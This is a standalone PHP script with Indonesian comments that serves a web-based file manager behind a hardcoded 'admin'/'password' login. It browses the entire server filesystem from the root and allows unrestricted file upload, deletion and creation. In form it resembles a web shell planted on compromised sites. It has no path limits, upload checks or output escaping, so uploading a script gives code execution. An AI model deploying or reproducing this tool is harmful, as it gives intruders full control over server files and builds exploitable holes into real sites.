<?php
session_start();

// --- LOGIN SEDERHANA ---
$USER = 'admin';
$PASS = 'password';

if (!isset($_SESSION['logged_in'])) {
    if (isset($_POST['user']) && isset($_POST['pass'])) {
        if ($_POST['user'] === $USER && $_POST['pass'] === $PASS) {
            $_SESSION['logged_in'] = true;
        } else {
            echo '<form method="post">
                    User: <input name="user"><br>
                    Pass: <input name="pass" type="password"><br>
                    <input type="submit">
                  </form>';
            exit;
        }
    } else {
        echo '<form method="post">
                User: <input name="user"><br>
                Pass: <input name="pass" type="password"><br>
                <input type="submit">
              </form>';
        exit;
    }
}

// --- PATH DINAMIS ---
$dir = isset($_GET['dir']) ? $_GET['dir'] : '/';
$dir = rtrim($dir, '/') . '/';

if (!is_readable($dir)) {
    die("Tidak bisa akses directory ini");
}

// --- HANDLE UPLOAD ---
if (isset($_FILES['file_upload'])) {
    $target = $dir . basename($_FILES['file_upload']['name']);
    if (move_uploaded_file($_FILES['file_upload']['tmp_name'], $target)) {
        echo "<b>Upload berhasil: </b>" . htmlspecialchars(basename($_FILES['file_upload']['name'])) . "<br>";
    } else {
        echo "<b>Upload gagal!</b><br>";
    }
}

// --- HANDLE HAPUS ---
if (isset($_GET['delete'])) {
    $del = $dir . $_GET['delete'];
    if (is_dir($del)) rmdir($del);
    elseif (is_file($del)) unlink($del);
    header("Location: ?dir=" . urlencode($dir));
    exit;
}

// --- HANDLE BUAT FOLDER ---
if (isset($_POST['new_folder'])) {
    $nf = $dir . $_POST['new_folder'];
    if (!file_exists($nf)) mkdir($nf);
}

// --- HANDLE BUAT FILE ---
if (isset($_POST['new_file'])) {
    $nf = $dir . $_POST['new_file'];
    if (!file_exists($nf)) file_put_contents($nf, "");
}

// --- LIST FILES & FOLDER ---
$files = scandir($dir);
echo "<h3>Directory: $dir</h3>";
if ($dir != '/') echo "<a href='?dir=" . urlencode(dirname($dir)) . "'>.. (Up)</a><br><br>";

// --- FORM UPLOAD ---
echo '<form method="post" enctype="multipart/form-data">
        Upload file: <input type="file" name="file_upload">
        <input type="submit" value="Upload">
      </form><br>';

// --- FORM BUAT FOLDER ---
echo '<form method="post">
        Buat folder baru: <input type="text" name="new_folder">
        <input type="submit" value="Buat Folder">
      </form><br>';

// --- FORM BUAT FILE ---
echo '<form method="post">
        Buat file baru: <input type="text" name="new_file">
        <input type="submit" value="Buat File">
      </form><br>';

// --- LISTING FILE/FOLDER DENGAN LINK HAPUS ---
foreach ($files as $file) {
    if ($file == '.') continue;
    $path = $dir . $file;
    $delete_link = "?dir=" . urlencode($dir) . "&delete=" . urlencode($file);
    if (is_dir($path)) {
        echo "[DIR] <a href='?dir=" . urlencode($path) . "'>$file</a> | <a href='$delete_link'>Hapus</a><br>";
    } else {
        echo "[FILE] $file | <a href='$delete_link'>Hapus</a><br>";
    }
}
?>
